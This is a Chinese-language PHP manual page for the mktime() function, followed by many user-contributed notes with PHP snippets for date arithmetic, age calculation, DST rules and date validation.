5.1.0 | is_dst 参数被废弃。出错时函数返回 FALSE 而不再是 -1

范例

例子 1. mktime() 例子

mktime() 在做日期计算和验证方面很有用，它会自动计算超出范围的输入的正确值。例如下面例子中每一行都会产生字符串 "Jan-01-1998"。

<?php
echo date("M-d-Y", mktime(0, 0, 0, 12, 32, 1997));
echo date("M-d-Y", mktime(0, 0, 0, 13, 1, 1997));
echo date("M-d-Y", mktime(0, 0, 0, 1, 1, 1998));
echo date("M-d-Y", mktime(0, 0, 0, 1, 1, 98));
?>

例子 2. 下个月的最后一天

任何给定月份的最后一天都可以被表示为下个月的第 "0" 天，而不是 -1 天。下面两个例子都会产生字符串 "The last day in Feb 2000 is: 29"。

<?php
$lastday = mktime(0, 0, 0, 3, 0, 2000);
echo strftime("Last day in Feb 2000 is: %d", $lastday);
$lastday = mktime(0, 0, 0, 4, -31, 2000);
echo strftime("Last day in Feb 2000 is: %d", $lastday);
?>

注释

注意

在 PHP 5.1.0 之前，在任何已知 Windows 版本以及一些其它系统下不支持负的时间戳。因此年份的有效范围限制为 1970 到 2038。

参见

gmmktime()
date()
time()

add a note add a note User Contributed Notes
nuntius
08-Jun-2006 01:25
Easy way to get last month.
...and anything else in the date you want. Just introduce the calculation into the mktime function (note the -1) when building from date().

//Current Date minus one month.
$dateMinusOneMonth = mktime(0, 0, 0, date("m")-1, date("d"),  date("Y"));
$lastmonth = date("M", $dateMinusOneMonth);
echo $lastmonth;

change $dateMinusOneMonth to the below to see it react to a year change (get Dec as last month from January)

$dateMinusOneMonth = mktime(0, 0, 0, 01-1, 01, 2006);
dswigger at yahoo dot com
03-Jun-2006 09:39
Thought I would share a bit.  Hope someone finds it useful.

// The logic was ported from javascript : http://webexhibits.org/daylightsaving/b.html
// If any date is between these two then:
//During DST, clocks are turned forward an hour, effectively moving an hour of daylight from the morning to the evening.
define('ZT_DST_US',            1);//United States dst
define('ZT_DST_EU',            2);//European Union dst
function ztcalhlp_getGMTDST(&$destStart,&$destEnd,$year,$dst_type=ZT_DST_EU)
{
   // USA
   if($dst_type == ZT_DST_US)
   {
       $dstTime=2;
       $AprilDate=(2+6 * $year - floor($year / 4) ) % 7 + 1;
       $OctoberDate=(31-(floor ($year * 5 / 4) + 1) % 7);
       $MarchDate=14 - (floor (1 + $year * 5 / 4) % 7);
       $NovemberDate=7 - (floor (1 + $year * 5 / 4) % 7);

       $dstMonth1=($year>2006)?3:4;
       $dstMonth2=($year>2006)?11:10;
       $dstDay1 =($year>2006)?$MarchDate:$AprilDate;
       $dstDay2 =($year>2006)?$NovemberDate:$OctoberDate;

       $destStart=mktime($dstTime,0,0,$dstMonth1,$dstDay1,$year);
       $destEnd=mktime($dstTime,0,0,$dstMonth2,$dstDay2,$year);
       return;
   }
   // has to eu then..
   $dstTime=1;
   $MarchDateEU=(31-(floor ($year * 5 / 4) + 4) % 7);
   $OctoberDateEU=(31-(floor ($year * 5 / 4) + 1) % 7);
   $destStart=mktime($dstTime,0,0,3,$MarchDateEU,$year);
   $destEnd=mktime($dstTime,0,0,10,$OctoberDateEU,$year);
}
carlo dot tafuro at poste dot it
08-May-2006 07:40
Negative timestamps give problem also using linux as guest operating system inside WMvare with Windows host operating system.
Fabrizio (staff at bibivu dot com)
30-Jan-2006 02:29
here a function that will help to find the difference between two dates, and it will take into consideration the leaps years

this function will return an array with:

YEARS (years)
MONTHS (months)
DAYS (days)
HOURS (hours)
MINUTES (minutes)
SECONDS (seconds)

probably can be optimized, but for now does the work
--------------------------------------------------------
Una funzione che aiuta a trovare la differenze tra due date, prendendo in considerazione anche gli anni bisestili.

Questa funzione ritorna un array con:

ANNI (years)
MESI (months)
GIORNI (days)
ORE (hours)
MINUTI (minutes)
SECONDI (seconds)

probabilmente puo' essere ottimizzata, ma per ora funziona
----------------------------------------------------------

<?php
   function bib_datediff($fromtime, $totime=''){
       if($totime=='')        $totime = time();

       if($fromtime>$totime){
           $tmp = $totime;
           $totime = $fromtime;
           $fromtime = $tmp;
       }

       $timediff = $totime-$fromtime;
       //check for leap years in the middle
       for($i=date('Y',$fromtime); $i<=date('Y',$totime); $i++){
           if ((($i%4 == 0) && ($i%100 != 0)) || ($i%400 == 0)) {
               $timediff -= 24*60*60;
           }
       }
       $remain = $timediff;
       $ret['years']    = intval($remain/(365*24*60*60));
       $remain            = $remain%(365*24*60*60);
       $ret['days']    = intval($remain/(24*60*60));
       $remain            = $remain%(24*60*60);

       $m[0]    = 31;        $m[1]    = 28;        $m[2]    = 31;        $m[3]    = 30;
       $m[4]    = 31;        $m[5]    = 30;        $m[6]    = 31;        $m[7]    = 31;
       $m[8]    = 30;        $m[9]    = 31;        $m[10]    = 30;        $m[11]    = 31;
       //if leap year, february has 29 days
       if (((date('Y',$totime)%4 == 0) && (date('Y',$totime)%100 != 0)) || (date('Y',$totime)%400 == 0)){

           $m[1] = 29;
       }
       $ret['months']        = 0;
       foreach($m as $value){
           if($ret['days']>$value){
               $ret['months']++;
               $ret['days'] -=$value;
           } else {
               break;
           }
       }
       $ret['hours']    = intval($remain/(60*60));
       $remain            = $remain%(60*60);
       $ret['minutes']    = intval($remain/60);
       $ret['seconds']    = $remain%60;
       return $ret;
   }
?>
manhon824 at gmail dot com
21-Jan-2006 04:24
I read the above note and think up a simple way(just 10 lines) to find time difference in days, hrs, mins, secs!
In my way, we do not need to fix the format of time!

$starttime=time();
// the start time can change to =strtotime($endtime);
$endtime=strtotime($endtime);
//$endtime can be any format as well as it can be converted to secs

$timediff = $endtime-$starttime;
   $days=intval($timediff/86400);
   $remain=$timediff%86400;
   $hours=intval($remain/3600);
   $remain=$remain%3600;
   $mins=intval($remain/60);
   $secs=$remain%60;

//this code is copied from the other note!thx to that guy!

$timediff=$days.'days'.$hours.'hr'.$mins.'min'.$secs.'s';

Hope that it is usefull!
McDonk2k at hotmail dot com
16-Jan-2006 06:19
I found this the other night and found it needed a couple tweeks to work. I few values were switched but now it works. This function finds the amount of days, hours, and minutes between two different dates/times. Thanks Tone.

<?php
function unix_diff($first_date,$first_time,$second_date,$second_time)
{

   // Author: Tone.
   // Date    : 15-12-2003.

   // Ref: Dates go in "2003-12-31".
   // Ref: Times go in "12:59:13".
   // Ref: mktime(HOUR,MIN,SEC,MONTH,DAY,YEAR).

   // Splits the dates into parts, to be reformatted for mktime.
   $first_date_ex = explode("-",$first_date);
   $first_time_ex = explode(":",$first_time);
   $second_date_ex = explode("-",$second_date);
   $second_time_ex = explode(":",$second_time);

   // makes the dates and times into unix timestamps.
   $first_unix  = mktime($first_time_ex[0], $first_time_ex[1], $first_time_ex[2], $first_date_ex[1], $first_date_ex[2], $first_date_ex[0]);
   $second_unix  = mktime($second_time_ex[0], $second_time_ex[1], $second_time_ex[2], $second_date_ex[1], $second_date_ex[2], $second_date_ex[0]);

   // Gets the difference between the two unix timestamps.
   $timediff = $first_unix-$second_unix;

   // Works out the days, hours, mins and secs.
   $days=intval($timediff/86400);
   $remain=$timediff%86400;
   $hours=intval($remain/3600);
   $remain=$remain%3600;
   $mins=intval($remain/60);
   $secs=$remain%60;

   // Returns a pre-formatted string. Can be chagned to an array.
   return $days . " days " . $hours . " hours<br> " . $mins . " mins";
} ?>
tperrett at butlerandtanner dot com
06-Jan-2006 11:38
Handy function for working out the number of days until and event, its basic, but does what i need it too and may help somone else as this wasnt easily obvious to me when trying to do it. cheers

function fromnow($from){
   if($from) {
     $r = ((mktime(0,0,0,date('m'),date('d'),date('Y')) - $from) / 86400);
       return number_format($r,0);
   } else {
       return null;
   }
}
chris@NnOoSwPhAeMre dot gov
25-Dec-2005 10:27
<?
/***************

Take a date from a credit card stored in a mysql database and see when it expires based on today's date.

$row[account_exp] = 1/2006

eg.
echo "$cc_exp_month/$cc_exp_year ($cc_exp_string)"
shows you  1/2006 (7 DAYS)

****************/
list($cc_exp_month,$cc_exp_year) = explode("/", $row[account_exp]);
       if ( ( $cc_exp_month && $cc_exp_year ) && ( mktime() > mktime(0,0,0,$cc_exp_month,1,$cc_exp_year ) ) ) {
               $is_expired = TRUE;
               $cc_exp_string = "<font color=red>".EXPIRED."</font>";
       } elseif ( $cc_exp_month && $cc_exp_year ) {
               $is_expired = FALSE;
               $time  = mktime(0,0,0,$cc_exp_month,1,$cc_exp_year) - mktime();
               $time  = round($time / (24 * 60 * 60));
               $time .= " ".DAYS;
               $cc_exp_string = "<font color=green>".$time."</font>";
       }
php at cNhOiSpPpAlMe dot org
06-Dec-2005 01:34
This is an update to my f_IsDstUS() function posted on 22-Apr-2004 05:37.
(http://php.net/manual/en/function.mktime.php#41785)
It now takes account for the Energy Policy Act of 2005 (effective in 2007).

Is it DST in the US on/at $dDate? (Regional exceptions not included.)
Ref.: http://webexhibits.org/daylightsaving/b.html

I use this function to calculate time differences between a server located in the US and a region not affected by DST, and vice-versa.

<?

function f_IsDstUS ($dDate) {
  /* Energy Policy Act of 2005 (effective in 2007) */
  $bEnergyPolicyAct2005 = (intval(date("Y",$dDate)) >= 2007);

  if ($bEnergyPolicyAct2005) {
   /* FROM 2007 */
   /* DST START (Second Sunday in March at 2am) */
   $dMarch1stDay = mktime(
                       0,0,0,
                       3,1,date("Y",$dDate));
   $dMarch2ndSunday = $dMarch1stDay
                     +((7-date("w",$dMarch1stDay))%7+7)*(60*60*24);
   $dDstStart = mktime(
                   2,0,0,
                   date("m",$dMarch2ndSunday),
                   date("d",$dMarch2ndSunday),
                   date("Y",$dMarch2ndSunday));

   /* DST END (First Sunday in November at 2am) */
   $dNovember1stDay = mktime(
                         0,0,0,
                         11,1,date("Y",$dDate));
   $dNovember1stSunday = $dNovember1stDay
                         +((7-date("w",$dNovember1stDay))%7)*(60*60*24);
   $dDstEnd = mktime(
                   2,0,0,
                   date("m",$dNovember1stSunday),
                   date("d",$dNovember1stSunday),
                   date("Y",$dNovember1stSunday));
  }
  else {
   /* BEFORE 2007 */
   /* DST START (First Sunday in April at 2am) */
   $dApril1stDay = mktime(
                       0,0,0,
                       4,1,date("Y",$dDate));
   $dApril1stSunday = $dApril1stDay
                     +((7-date("w",$dApril1stDay))%7)*(60*60*24);
   $dDstStart = mktime(
                   2,0,0,
                   date("m",$dApril1stSunday),
                   date("d",$dApril1stSunday),
                   date("Y",$dApril1stSunday));

   /* DST END (Last Sunday in October at 2am) */
   $dOctoberLastDay = mktime(
                         0,0,0,
                         11,0,date("Y",$dDate));
   $dOctoberLastSunday = $dOctoberLastDay
                         -(date("w",$dOctoberLastDay))*(60*60*24);
   $dDstEnd = mktime(
                 2,0,0,
                 date("m",$dOctoberLastSunday),
                 date("d",$dOctoberLastSunday),
                 date("Y",$dOctoberLastSunday));
  }

  /* DST INDEX */
  return intval(  $dDate >= $dDstStart
               && $dDate < $dDstEnd);
}

// Sample usage:
$iHoursToLocal = 15-f_IsDstUS(time());
$dLocal = mktime(
             date("H")+$iHoursToLocal,date("i"),date("s"),
             date("m"),date("d"),date("Y"));

?>
ian at opensystems dot net dot au
14-Nov-2005 04:21
A trivial way to avoid having to remember the quirky order of variables.

It's also more convenient to use because you can ignore the last three (time) variables if all you want to do is manupulate the date components.

Just include the following function at the top of your script and call ansi_mktime instead of mktime.

function ansi_mktime($y=0, $month=0, $d=0, $h=0, $min=0, $s=0){
   return mktime($h, $min, $s, $month, $d, $y);
}

// eg:
$day = 14;
echo date("dS \d\a\y of M Y", ansi_mktime(2005, 11, $day + 7))

// output: 21st day of Nov 2005
mickyfunk at hotmail dot com
08-Nov-2005 05:26
<?
/*    This program work out the difference between 2 dates one been the current date and the
   is set by changing the numbers in $pastdate. This could easily be configured to accept
   input from a form.*/

   //this sets the variable $today to todays date
   $today = date("d/m/Y");

   //this sets the variable $birthday to the date selected
   $pastdate = date("18/11/1983");

   //this seperates the $today into an array
   $explodetoday = explode("/", $today);

   //this makes a timestamp out of the exploded date this number is in seconds
   $stoday = mktime(0, 0, 0, $explodetoday[1], $explodetoday[0], $explodetoday[2]);

   $explodepastdate = explode("/", $pastdate);
   $spastdate = mktime(0, 0, 0, $explodepastdate[1], $explodepastdate[0], $explodepastdate[2]);

   //this works out the difference between today and the date set.
   $sDifference = $stoday - $spastdate;

   //this works out the age of the person in years
   $yDifference = ($sDifference / 60 / 60 / 24 / 365.25);

   $yDifferences = number_format($yDifference, 2);

   echo("$yDifferences Years Old\n");

?>

Not as good as some others but this is the first real bit of code i have created.
pr10n at spymac dot com
28-Oct-2005 01:05
This is the method I use to determine a user's age in years. Perhaps not as fancy as some others but it hasn't failed me yet.

<?php
   function get_age($dob_stamp) {
       $dob = getdate($dob_stamp);
       $now = getdate(time());
       $age = $now['year'] - $dob['year'];
       $age-= (int)($now['mon'] < $dob['mon']);
       $age-= (int)(($now['mon'] == $dob['mon']) && ($now['mday'] < $dob['mday']));
       return $age;
   }
?>
eidolon at idealsound dot ca
26-Oct-2005 03:30
There was a birthdate calculator posted above which from reading the code seems flawed in my logic.

Oddly, most code I see to calculate birthdates tries to use the difference between the years to find it's result, which can be flawed (if my birthday is Jan 10th and I'm 19, and its Jan 5th, these scripts might still think I am 20). Basically this creates a timestamp with the desired birthdate and only checks if the given birthdate has passed this year yet or not. Simple & reliable age in years!

Here's the code I use to do this, which, yes, could be better written:

$bd = mktime(0,0,0,$month,$day,$year);

if (date("n") > intval($month)) {$before = FALSE;}
if (intval(date("j")) >= intval($day)) {$before = FALSE;}
else {$before=TRUE;}

if ($before == TRUE) { $age = (date("Y")-$year)-1; }
else { $age = (date("Y")-$year); }
alborz at myweblog dot com
22-Sep-2005 08:16
This is how you would convert a MySQL datetime to RFC 822 for RSS

$breakup = $row->date;

                                           list($date, $hours) = split(' ', $breakup);
                                           list($year,$month,$day) = split('-',$date);
                                           list($hour,$min,$sec) = split(':',$hours);
                                           $date = date(r,mktime($hour, $min, $sec, $month, $day, $year));
larry at mlxpert dot com
09-Sep-2005 12:40
I needed a script to display a dropdown menu with a list of week ending dates. I wrote this as a result. I hope it helps somebody. The selname variable is the name of the select field and the day of week of the begining date designates the end of the week.

<?php
$selname="we_date";
//Build Begin date
$month=10;
$day=04;
$year=2003;
$hour=date('H');
$min=date('i');
$sec=date('s');

//convert it to unix timestamp
$bdate=mktime($hour,$min,$sec,$month,$day,$year);

//Build Today
$thour=date('H');
$tmin=date('i');
$tsec=date('s');
$tmonth=date('n');
$tday=date('d');
$tyear=date('Y');
//convert it to unix timestamp
$today=mktime($thour,$tmin,$tsec,$tmonth,$tday,$tyear);

//just the weeks
$nbdate=floor($bdate/(7 * 24 * 60 * 60));
$ntoday=floor($today/(7 * 24 * 60 * 60));

//difference between today and the beginning date
$diff=$today-$bdate;
echo "<select size='1' name='$selname'>\n";
while ($bdate <= $today+(7 * 24 * 60 * 60)){
echo ("<option value='".date('n/d/Y',$bdate)."'>
".date('n/d/Y',$bdate)."</option>\n");

$bdate=$bdate+(7 * 24 * 60 * 60);
}
echo "</select>";
?>
funkisyourfriend at gmail dot com
07-Aug-2005 06:25
In response to Hayden...

I hate to inform you of this after you've worked out your own function for date validation, but PHP has a function called checkdate(). It does the exact same thing as your isvaliddate() function.
agentleon at navigator dot lv
02-Aug-2005 02:23
This is probably due to DST or anything like this, but this code:

print(date('d.m.Y',mktime(0,0,0,9,30,1990)+3600*24));

will print out "30.09.1990", instead of "01.10.1990". This works when year is <=1990, when it is >=1991, everything works fine. PHP ver. 4.3.7
luke at mudbugmedia dot com
23-Jul-2005 12:31
In response to phpprince at phpprince dot com:

The same thing can be done with

<?php
echo date('Y-m-d H:i:s', strtotime('+7 days'));
?>
ceo at diveintojens dot org
30-Jun-2005 03:49
Quote by Matt... Just a note: If month has a zero before it (IE '03'), mktime will not like it and give you an output of -1

Solution: Use (int)$month instead of $month

Best regards,
Jens Rybacke
phpprince at phpprince dot com
10-Jun-2005 10:11
i was writing a mini auction script and tried to replicate ebay's 7 day listing. so if you post your auction today, it will end exactly 7 days later, exact up to the seconds.

$today = date("Y-m-d H:i:s"); // get today's date

$sep = explode(" ",$today); // split into day and time
$day = $sep[0];
$time = $sep[1];

$timesep = explode(":",$time); // split time into hr, min, sec
$hour = $timesep[0];
$min = $timesep[1];
$sec = $timesep[2];

$enddate = mktime($hour,$min,$sec, date("m"),date("d")+7,date("Y")); // add 7 to the day, the hour, minutes and second are grabbed from the current time using variables from the $timesep explode

$enddate = date("Y-m-d H:i:s", $enddate); // the enddate

echo $enddate;

voila!
venimus777 at yahoo dot com
09-Jun-2005 12:20
You may consider easier to calculate dates using strtotime() instead of mktime():

<?
   date('Y-m-d',strtotime('now +'.$f.' months'));
?>

will produce the date $f($f>=0) months after today.
Hayden
07-Jun-2005 08:33
Here is a quick way to check the a date is valid. I use this when I get users to enter dates via drop downs, which leave open the possibility for impossible dates like 30-Feb-2005 and 31-Jun-2005 etc. This is only necessary as mktime() will accept these invalid dates, which is, in my case, sometimes not the desired handling.

<?php
function isvaliddate($day, $month, $year) {
   $day = intval($day);
   $month = intval($month);
   $year = intval($year);
   $time = mktime(0,0,0,$month,$day,$year);
   if ($day != date("j",$time)) return false;
   if ($month != date("n",$time)) return false;
   if ($year != date("Y",$time)) return false;
   return true;
}
?>

Note that date("Y",$time) checks the year as a 4 digit year. That line could be replaced as shown below to allow for the 2 digit notation as well.
Also the order the arguments need to be specified is day, month, year, because I come from NZ and that is the format we use here. If you prefer another format, for example month, day, year, just change the order of the arguments on the first line.

<?php
function isvaliddate($day, $month, $year) {
   $day = intval($day);
   $month = intval($month);
   $year = intval($year);
   $time = mktime(0,0,0,$month,$day,$year);
   if ($day != date("j",$time)) return false;
   if ($month != date("n",$time)) return false;
   if (($year != date("Y",$time)) AND ($year != date("y",$time))) return false;
   return true;
}
?>

Hope this helps someone!
Cheers,
Hayden.
caliban at darklock dot com
27-May-2005 09:40
cdblog at gmail dot com didn't clarify exactly what his function does: it returns the week number WITHIN THE CURRENT MONTH, i.e. the first day of the month is in week 1, the eighth day is in week 2, the fifteenth is in week 3, the 22nd is in week 4, and the 29th is in week 5. A useful function, if you need such things.
cdblog at gmail dot com
27-May-2005 05:06
<?php
   /**
   * @return int
   * @desc get the week's No. by day.
   * @link http://php.clickz.cn/articles/date/getWeekNoByDay,html
   * @update at my php blog, http://php.clickz.cn/
   */
   function getWeekNoByDay($year = 2005,$month = 5,$day = 5) {
       return ceil(($day + date("w",mktime(0,0,0,$month,1,$year)))/7);
   }
?>
taum at free dot fr
21-May-2005 11:49
in response to chrisrobins at NOSPAM dot gmail dot com's note :

You may as well use MySQL's UNIX_TIMESTAMP() function to convert a mysql timestamp to a unix timestamp.
Here is a simple example :

<?php

// Query the database
$q = mysql_query("SELECT date, UNIX_TIMESTAMP(date) AS timestamp FROM table");
$row = mysql_fetch_array($q);

// then use PHP's date() function :
$date = date("F j, Y, g:i a", $row['timestamp']);

echo "$row[date] = $date"; // Will output : 2005-05-21 18:09:43 = May 21, 2005, 6:09 pm

?>

Should be faster that using some regular expressions or other user-defined functions, and IMHO a lot easier ;-)
jemore at m6net dot fr
07-May-2005 01:39
A date enumerator function. With this, you set a begin date and an end date (timestamp format), and it will call a user function stepping one day or one month.

<?php
define ('DATE_ENUM_DAY', 1);
define ('DATE_ENUM_MONTH', 2);
/*
 * enumerate a date and call a user function
 * dateBeginTS, dateEndTS : Timestamp date
 * callbackfunc : name of the php function to callback
 *  this cb function receive 2 parameters : the current enumerated date (timestamp) and the $param parameter
 * step : DATE_ENUM_DAY or DATE_ENUM_MONTH
 * param : a user parameter
 */
function date_enumeration($dateBeginTS, $dateEndTS, $callbackfunc, $step, $param = NULL)
{
   $cur = $dateBeginTS;
   while($cur <= $dateEndTS)
   {
       $callbackfunc($cur, &$param);

       if ($step == DATE_ENUM_DAY)
       {
           $cur = mktime(
               date('h', $cur),
               date('i', $cur),
               date('s', $cur),
               date('m', $cur),
               date('d', $cur) + 1,
               date('Y', $cur));
       }
       else if ($step == DATE_ENUM_MONTH)
       {
           $cur = mktime(
               date('h', $cur),
               date('i', $cur),
               date('s', $cur),
               date('m', $cur) + 1,
               date('d', $cur),
               date('Y', $cur));
       }
       else
       {
           die ('No step specified');
       }
   }
}

/// SAMPLE USAGE
function cb_test($timestamp, $param)
{
   echo date('r', $timestamp), ' ', $param, "<br>\n";
}

date_enumeration(
   mktime(0,0,0,1,1,2000),
   mktime(0,0,0,1,1,2002),
   'cb_test',
   DATE_ENUM_DAY
);

?>
Greg Robbins
06-May-2005 12:42
Here's an update (no pun intended) to my "generic times" function below for comverting between timestamps and hours, minutes and seconds, but that don't represent any particular date.

The previous functions return values that are incorrectly offset by 1 hour (3600 seconds) when you are in daylight savings time.

Here are revised functions that take into account whether or not you are on daylight savings time.

These 2 functions let you convert back and forth between human-readable H:M:S format and non-negative, GMT-agnostic (and DST-agnostic!!) timestamps for when you are working only with hours, minutes, and seconds.

<?php
function hms_2_ts($hms) //expects 24 hour time expressed like
                       //00:00:01 for "one second after midnight"
{
   $offset = date(Z);    //your local offset in seconds from GMT

   $is_dls = date(I) == 1 ? true : false; //date(I) returns 1 if in DST, 0 if not

   if($is_dls) $offset -= 3600; //Roll back one hour if you are in DST

   $hms_arr = explode(":", $hms);

   $h = $hms_arr[0];
   $m = $hms_arr[1];
   $s = $hms_arr[2] + $offset;    //Compensate for GMT offset

   $ts = mktime($h, $m, $s, 1, 1, 1970, 0);

   return $ts;
}

function ts_2_hms($ts)
{
   $offset = date(Z);

   $is_dls = date(I) == 1 ? true : false; //date(I) returns 1 if in DST, 0 if not

   if($is_dls) $offset -= 3600; //Roll back one hour if you are in DST

   $ts += 86400;    //no "before 1970" errors on Windows this way.
                   //This will make the date wrong, but we're only
                   //dealing with H:M:S so it shouldn't matter

   $ts -= $offset;    //Compensate for GMT offset

   return date("H:i:s", $ts);
}

//Check it out:
echo "offset = " . date(Z) . "<br>";

$hms = "00:00:01";
echo "hms = $hms<br>";

$ts = hms_2_ts($hms);
echo "ts = $ts<br>";

$hms_again = ts_2_hms($ts);
echo "hms again = $hms_again";
?>

I suggest that "Daylight Savings Time" could also be called "Programmers' Wasting Time" :)
webmaste at caleidosmultimedia dot com
27-Apr-2005 08:42
My little code for make a code to get the difference between dates

<?
$data1 = mktime (0,0,0,5,5,2005); //specify a date1
$data2 = mktime (0,0,0,5,15,2005); //specify a date2

$differenza = ($data2 - $data1 ) / 86400;

echo " The Different $data2 - data1 = $differenza";
?>
armando at scribano dot com dot ar
21-Apr-2005 05:12
This function return date (format d/m/Y) of N monday

$fechalunes1 = buscalunes($lunes='1');

function buscalunes($lunes)
{
   //busca N lunes y da el dia
   $fecha    = date ("Ymd");
   $ano = substr ($fecha,0, 4);
   $mes = substr ($fecha,4, -2);
   $dia = substr ($fecha,6,8);
   $con=1;
   while($contlunes!=$lunes)
   {
       $dia_chr = date( "l", mktime(0,0,0,$mes,$dia-$con,$ano));
       if($dia_chr=='Monday')
       {
           $fechalunes = date( "d/m/Y", mktime(0,0,0,$mes,$dia-$con,$ano));
           $contlunes++;
       }
       $con ++;

   }
   return $fechalunes ;
}
forums at jefferyfernandez dot id dot au
15-Apr-2005 11:33
With response to Robert Christiaanse's Delphi related convertion to find the
day in the week of a year, here is my solution

The original purpose of this function was to return the "first day of the week"
for a timesheet application. Since PHP defaults to Monday as the start of the
week, and the need for my app to have Sunday as the start of the week, I had to
pass the day as an argument. So if you call the function like:

find_first_day_ofweek(16, 2005, 'sunday');

it would return the unix timestamp of the Sunday in week 16 of 2005.

<?php
/**
 * Function to find the day of a week in a year
 * @param integer $week The week number of the year
 * @param integer $year The year of the week we need to calculate on
 * @param string  $start_of_week The start day of the week you want returned
 *                Monday is the default Start Day of the Week in PHP. For
 *                example you might want to get the date for the Sunday of wk 22
 * @return integer The unix timestamp of the date is returned
 */
function find_first_day_ofweek($week, $year, $start_of_week='sunday')
{
   // Get the target week of the year with reference to the starting day of
   // the year
   $target_week = strtotime("$week week", strtotime("1 January $year"));

   // Get the date information for the day in question which
   // is "n" number of weeks from the start of the year
   $date_info = getdate($target_week);

   // Get the day of the week (integer value)
   $day_of_week = $date_info['wday'];

   // Make an adjustment for the start day of the week because in PHP the
   // start day of the week is Monday
   switch (strtolower($start_of_week))
   {
       case 'sunday':
           $adjusted_date = $day_of_week;
           break;
       case 'monday':
           $adjusted_date = $day_of_week-1;
           break;
       case 'tuesday':
           $adjusted_date = $day_of_week-2;
           break;
       case 'wednesday':
           $adjusted_date = $day_of_week-3;
           break;
       case 'thursday':
           $adjusted_date = $day_of_week-4;
           break;
       case 'friday':
           $adjusted_date = $day_of_week-5;
           break;
       case 'saturday':
           $adjusted_date = $day_of_week-6;
           break;

       default:
           $adjusted_date = $day_of_week-1;
           break;
   }

   // Get the first day of the weekday requested
   $first_day = strtotime("-$adjusted_date day",$target_week);

   //return date('l dS of F Y h:i:s A', $first_day);

   return $first_day;
}
?>
colin dot horne at gmail dot com
31-Mar-2005 02:48
If the month is greater than 12, it goes into the next year. If it is less than 1, it goes into the previous year. Generally, it behaves as you'd expect it to :-)

Examples:

<?php

// January 1, 2005
print date ("F j, Y", mktime (0,0,0,13,1,2004));

// December 1, 2003
print date ("F j, Y", mktime (0,0,0,0,1,2004));

// February 1, 2005
print date ("F j, Y", mktime (0,0,0,14,1,2004));

// November 1, 2003
print date ("F j, Y", mktime (0,0,0,-1,1,2004));

?>
mariano at cricava dot com
27-Mar-2005 02:22
Here is another way to calculate the difference between two dates. It is based on previous date_diff example, but with the possibility now to specify full dates (dates plus time), and to get the result in different units.

Example of use:

<?php
$dateFrom = "25-03-2005 14:20:00";
$dateTo = date("d-m-Y H:i:s", strtotime('now'));

$diffd = getDateDifference($dateFrom, $dateTo, 'd');
$diffh = getDateDifference($dateFrom, $dateTo, 'h');
$diffm = getDateDifference($dateFrom, $dateTo, 'm');
$diffs = getDateDifference($dateFrom, $dateTo, 's');
$diffa = getDateDifference($dateFrom, $dateTo, 'a');

echo 'Calculating difference between ' . $dateFrom . ' and ' . $dateTo . ' <br /><br />';

echo $diffd . ' days.<br />';
echo $diffh . ' hours.<br />';
echo $diffm . ' minutes.<br />';
echo $diffs . ' seconds.<br />';

echo '<br />In other words, the difference is ' . $diffa['days'] . ' days, ' . $diffa['hours'] . ' hours, ' . $diffa['minutes'] . ' minutes and ' . $diffa['seconds'] . ' seconds.<br>';

?>

Here's the code:

<?php
/**
 * Calculates the difference for two given dates, and returns the result
 * in specified unit.
 *
 * @param string    Initial date (format: [dd-mm-YYYY hh:mm:ss], hh is in 24hrs format)
 * @param string    Last date (format: [dd-mm-YYYY hh:mm:ss], hh is in 24hrs format)
 * @param char    'd' to obtain results as days, 'h' for hours, 'm' for minutes, 's' for seconds, and 'a' to get an indexed array of days, hours, minutes, and seconds
 *
 * @return mixed    The result in the unit specified (float for all cases, except when unit='a', in which case an indexed array), or null if it could not be obtained
 */
function getDateDifference($dateFrom, $dateTo, $unit = 'd')
{
   $difference = null;

   $dateFromElements = split(' ', $dateFrom);
   $dateToElements = split(' ', $dateTo);

   $dateFromDateElements = split('-', $dateFromElements[0]);
   $dateFromTimeElements = split(':', $dateFromElements[1]);
   $dateToDateElements = split('-', $dateToElements[0]);
   $dateToTimeElements = split(':', $dateToElements[1]);

   // Get unix timestamp for both dates

   $date1 = mktime($dateFromTimeElements[0], $dateFromTimeElements[1], $dateFromTimeElements[2], $dateFromDateElements[1], $dateFromDateElements[0], $dateFromDateElements[2]);
   $date2 = mktime($dateToTimeElements[0], $dateToTimeElements[1], $dateToTimeElements[2], $dateToDateElements[1], $dateToDateElements[0], $dateToDateElements[2]);

   if( $date1 > $date2 )
   {
       return null;
   }

   $diff = $date2 - $date1;

   $days = 0;
   $hours = 0;
   $minutes = 0;
   $seconds = 0;

   if ($diff % 86400 <= 0)  // there are 86,400 seconds in a day
   {
       $days = $diff / 86400;
   }

   if($diff % 86400 > 0)
   {
       $rest = ($diff % 86400);
       $days = ($diff - $rest) / 86400;

       if( $rest % 3600 > 0 )
       {
           $rest1 = ($rest % 3600);
           $hours = ($rest - $rest1) / 3600;

           if( $rest1 % 60 > 0 )
           {
               $rest2 = ($rest1 % 60);
               $minutes = ($rest1 - $rest2) / 60;
               $seconds = $rest2;
           }
           else
           {
               $minutes = $rest1 / 60;
           }
       }
       else
       {
           $hours = $rest / 3600;
       }
   }

   switch($unit)
   {
       case 'd':
       case 'D':

           $partialDays = 0;

           $partialDays += ($seconds / 86400);
           $partialDays += ($minutes / 1440);
           $partialDays += ($hours / 24);

           $difference = $days + $partialDays;

           break;

       case 'h':
       case 'H':

           $partialHours = 0;

           $partialHours += ($seconds / 3600);
           $partialHours += ($minutes / 60);

           $difference = $hours + ($days * 24) + $partialHours;

           break;

       case 'm':
       case 'M':

           $partialMinutes = 0;

           $partialMinutes += ($seconds / 60);

           $difference = $minutes + ($days * 1440) + ($hours * 60) + $partialMinutes;

           break;

       case 's':
       case 'S':

           $difference = $seconds + ($days * 86400) + ($hours * 3600) + ($minutes * 60);

           break;

       case 'a':
       case 'A':

           $difference = array (
               "days" => $days,
               "hours" => $hours,
               "minutes" => $minutes,
               "seconds" => $seconds
           );

           break;
   }

   return $difference;
}
?>
Romain Sam
25-Mar-2005 11:50
Under Windows, mktime goes until 2038-01-19 (03:14:07 ...)
Matt
24-Mar-2005 02:52
Just a note:
If month has a zero before it (IE '03'), mktime will not like it and give you an output of -1
Greg Robbins
15-Mar-2005 12:12
For a project I need to use "generic times" - just hours, minutes and seconds that don't represent any particular date.

I needed to convert human-readable H:M:S values to timestamp-like integers representing seconds (Example: 00:30:00 becomes 1800). The resulting values are very small; as a result, functions like mktime(), date() & friends think they're dealing with timestamps right around the Unix Epoch.

The problem is the Windows / GMT factor. For some values I got warnings about dates before January 1, 1970 not being accepted by Windows. Then other times I would get unexpected values because of my GMT offset (it happens in the best of families).

